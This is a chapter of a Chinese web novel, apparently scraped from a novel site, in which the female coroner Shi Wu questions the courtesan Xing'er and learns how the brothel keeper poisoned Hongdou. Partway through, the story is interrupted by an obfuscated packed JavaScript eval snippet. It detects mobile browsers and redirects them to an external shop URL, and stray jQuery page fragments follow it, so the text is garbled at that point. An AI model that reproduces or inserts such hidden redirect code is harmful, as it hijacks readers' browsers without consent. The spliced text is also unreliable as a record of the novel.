文趣网 > 其他小说 > 俏县官与疯仵作 > 17. 长相思(十七)
    “反正他走的时候都还好好的。”杏儿再次强调。

    “你知道他平日里都与谁来往么?”时舞又问。

    杏儿回道:“那我哪儿知道啊。你们应该去问那个与他同住的人,他或许更清楚些。”

    “那杜顺可与人发生过冲突?”

    杏儿想了想,依旧摇了摇头,“他那人欺软怕硬惯了,也就只敢在我面前耍耍威风,一遇到比他强势点的,就怂得跟个鹌鹑似的,哪里还敢与人正面冲突。”

    时舞听出了她的话外之音,顺势询问道:“这么说来,他还是与人发生过矛盾?”

    杏儿轻蔑地冷哼了一声,“万花丛里好看又有才华的女人就那么几个,凡是去那儿的男人谁不想一尝芳泽?大的过节没有,为着争风吃醋却是时里暗里斗了不知多少回。”

    “因为红豆?”

    杏儿嗯了一声,时舞继续追问:“那杜顺与谁斗得最厉害你总该知道吧?”

    这次杏儿没有吭声。时舞默了一瞬后,换了个问题,“红豆不是失踪,而是被杨九娘药死这事儿是你告诉杜顺的吧?”

    杏儿微微怔了片刻后,连忙否认道:“我不懂你在说些什么,我什么时候说过红豆死了?”

    杏儿的心虚反而证实了时舞的猜测,她轻笑一声后提醒她道:“杜顺曾亲口告诉别人是他的相好告诉他的,我们调查过了,杜顺这两年在万花丛只跟你好过。我劝你还是想清楚了再回答,依照大梁律法,窝藏包庇人犯轻则杖刑,重则流放。”

    “岭南那个地方你是未曾去过,那里的蟑螂有老鼠那般大,睡一觉起来脚趾头被老鼠吃了也是常有的事。”

    “况且我们已经掌握了杨九娘部分犯罪证据,她的嘴再硬,怕是也硬不过牢里的老虎凳吧?我再给你最后一次机会,是在这里说,还是去牢里说?”

    杏儿在听到时舞说起岭南的蟑螂和老鼠的那一刻,就已经恶心得胳膊上冒出了鸡皮疙瘩,她这细皮嫩肉的,真到了岭南,都不够老鼠饱餐一顿的。

    “是我说的。”杏儿抱紧了胳膊,紧张不安地咽着口水。

    “你又是怎么知道的?”时舞步步紧逼,丝毫不给杏儿喘息的机会。

    “我无意间听到的。”

    杏儿开始回忆起事发当日的情形。红豆被诊出怀有两个月的身孕后,便悄悄跑出去找到了那个男人,不知两人之间发生了什么,三天后,红豆又垂头丧气地回来了。杨九娘最初还很高兴,她一边帮着红豆骂男人薄情,一边又夸红豆醒悟得早,还劝红豆趁早将孩子打掉。

    红豆起先是同意了的,可没过两天又反悔了,或许是对那个男人还抱有一丝幻想,又或许是舍不得腹中的孩子。她央求杨九娘给自己一年的时间,等她把孩子生下来后,一定好好报答杨九娘的恩情,再不惹她生气。

    “可青楼里向来都有一条不成文的规矩,生了孩子的女人就不值钱了。杨九娘是绝对不可能放着钱不挣的,所以便拿堕胎药当作安胎药哄了红豆喝下。”

    “那天恰巧是端午节,我配了几个驱虫用的艾草荷包送给姐妹们,路过红豆门外的时候,听到她一直在哭。我出于好奇便贴着缝听了一会儿。她的声音很弱,连求救的话都说不出来,只是不停地抽着气。我亲耳听杨九娘说让红豆不要怪她,若红豆执意生下孩子那她这辈子就完了,她这么做都是为了红豆好。”

    “红豆嘴里断断续续地说着不要,没多一会儿,她便没了没声响。我听到里面的人惊呼一声‘没气了’,杨九娘急得团团转,然后就下令封了红豆已经回去的消息,只说是红豆得了疯病后跑丢了。”

    “那红豆的尸体呢?”

    杏儿摇了摇头,“我不清楚。应该是趁夜丢到城外的乱葬岗了吧。”

    时舞深吸一口气才勉强压下心底的愤慨,她问杏儿:“红豆死了这事儿,还有哪些人知晓?”

    “除了杨九娘和她身边的龟公常大外,还有香玉姐。”杏儿思索片刻后,又补充道,“青莲应该也是知晓的。”

    “让红豆怀孕的那个男人,你应该也认识吧?”

    杏儿沉默了下来,任时舞如何追问,她都拒绝说出那个人的名字,这不禁让时舞觉得那人的身份应当不简单。

    杏儿道:“世上的男人哪个不好色呢,何况还是红豆那样才色双绝的女子。再说即便你们知道了又能如何?总不能以他让一个妓女怀了孕而将他下大狱吧?”

    杏儿的担忧不无道理。在当下这个世道,那个男人的所作所为,别说犯法了,甚至连错都称不上,她若将对方的名字暴露了出来,怕是就要惹祸上身了。

    “我只是一个无权无势,甚至连自己身体都做不得主的卑贱女子,我只想多活些时日。”杏儿低声抽泣着。

    时舞见状也就不再逼她,于是转移话题问起了青莲。

    杏儿亦不清楚其中原由,“我们也都觉着奇怪呢,青莲好端端的怎就疯了呢!有一天她外出后便没再回来,我们找了她整整两天,才在桥洞底下发现了她,当时她就已经神志不清了,问她什么都答不上来,之后发生的事你们应该都知道了,杨九娘嫌她晦气,将她丢在了废屋里自生自灭。”

    问得差不多后,时舞才将杏儿放走,她丛屋里出来,正准备去找陆沉之时,恰巧与从隔壁屋子出来的陆沉之撞了个正着。

    时舞诧异道:“大人什么时候来的,您那边都问完了?”

    陆沉之点了点头,“那个乡贡生虽与杜顺租住在一起,但两人性格不和,平日里连话都懒得说上几句。”

    时舞听了有些泄气,“看来又白忙活了。”

    陆沉之忽地勾起唇角,“那倒也不全然是。”

    时舞见有戏,面上的疲惫一扫而光,眼里也迸发出了期待的光芒,“大人您就别卖关子了,赶紧告诉我吧。”

    虽然与陆沉之相识的时间不长,但这几日接触下来,时舞发现他并非装腔作势之人,别看他总是板着一张脸,实则却是面脸心热,加之与翁元正和项荣斗嘴惯了,慢慢地也就忘却了与陆沉之之间的尊卑之别。

    好在陆沉之也不在意这些。

    他顿了顿,道:“我将你找到的那些诗作命给他看了,他认出了字迹的主人。”

    “真的?”这还真是一个意外之喜。

    陆沉之点了点头,“不出意外的话,对方就是红豆的相好。”

    “那大人准备何时将传来问话?”时舞实是好奇得紧,究竟是什么样的一个男人值得红豆那般迷恋。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507829|202450||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    陆沉之却道:“先不着急,我已经让项荣去带杨九娘了。有了杏儿的证词,我看她还要如何狡辩。”

    听陆沉之这话,刚才杏儿所言他都听得差不多了,倒免却了时舞再转述一遍的麻烦。

    默然片刻后,陆沉之又道:“万花丛那边你用不着再回去了,这几日辛苦你了,你回去好好休息吧。”

    浅浅的笑意瞬间僵在了她的脸上。

    时舞都还不知道真相呢,哪有心思回去休息,可碍于她的身份,确实也没有继续留下来的理由。纵然心中有万般个不情愿,她也只得乖乖应下。

    “好吧。”时舞叹了口气。

    陆沉之垂眸瞄了她一会儿,只觉得她的反应有些许好笑。

    少顷后,他对时舞道:“待真相查明后,我定第一时间告知,以谢姑娘协助之情。”

    “大人客气了。”时舞皮笑肉不笑地回道,“那我就先走了,大人若有用得着我的地方,尽管吩咐。”

    陆沉之颔首道了声多谢。

    时舞像是被抽走了灵魂似的,心不在焉地回房收拾起了东西。这几日的经历恍如梦境一般不真实,却又让她情不自禁地沉迷其中。

    可梦终究是要醒来的。

    时舞怏怏地拆了发髻,小心翼翼地将簪子放回彩儿的妆奁中,她正打算换上自己的衣裳时,彩儿来了。

    “原来你在这里,我找了你好几久。”彩儿气喘吁吁道。

    “有事?”时舞的眸子忽地放起了光,她以为是陆沉之差她来的。

    彩儿道:“外面有个叫香玉的在找你。”

    “哦不对。应该说是来找红莲的。陆大人出府了,翁县丞也不知跑哪儿躲清闲去了,门口的守卫不知怎么办,便同刘虎哥讲了,刘虎哥便让我来问问,大人和你是怎么计划的。”

    “她在外面等很久了,看起来真的很担心你。”彩儿补充道。

    时舞想了想,香玉待她确实很不错,既然自己不回去了,便要同她解释清楚的,免得她担心。

    时舞又借了彩儿的簪子将长发随意绾在脑后,“那我去去便回。”

    言罢,时舞便出了屋子。

    县衙大门口,香玉正焦灼地来回走着。

    “香玉姐。”时舞看见她后,急忙小跑过去。

    “红莲?”香玉怔怔地看着时舞,有些不敢相认,“你的病好了吗?”

    时舞不好意思地挠了挠后脑勺,大概说了自己伪装身份一事。

    “对不起啊香玉姐,我不是故意要瞒你的。”

    香玉面色略显僵硬,半晌后她才勉强笑了笑,“太好了,既然一切都是假的,那我也就放心了。”

    “嗯。”时舞嘿嘿笑道,“香玉姐,这几日多谢你的照顾,以后有机会的话,我一定去看你。”

    香玉点了点头,与时舞告了别。可没走几步,她忽地又停下了脚步,转身叫住了正往县衙大门进去的时舞。

    香玉朝时舞招了招手。

    时舞折返回去,听香玉低声询问道:“你能陪我走走吗?”

    香玉的眼底涌动着一缕厌世的哀戚,这一刻的她脆弱得像是随时都会消逝的枯叶。时舞想着她都能义无反顾地帮助自己,那她应该救一救香玉。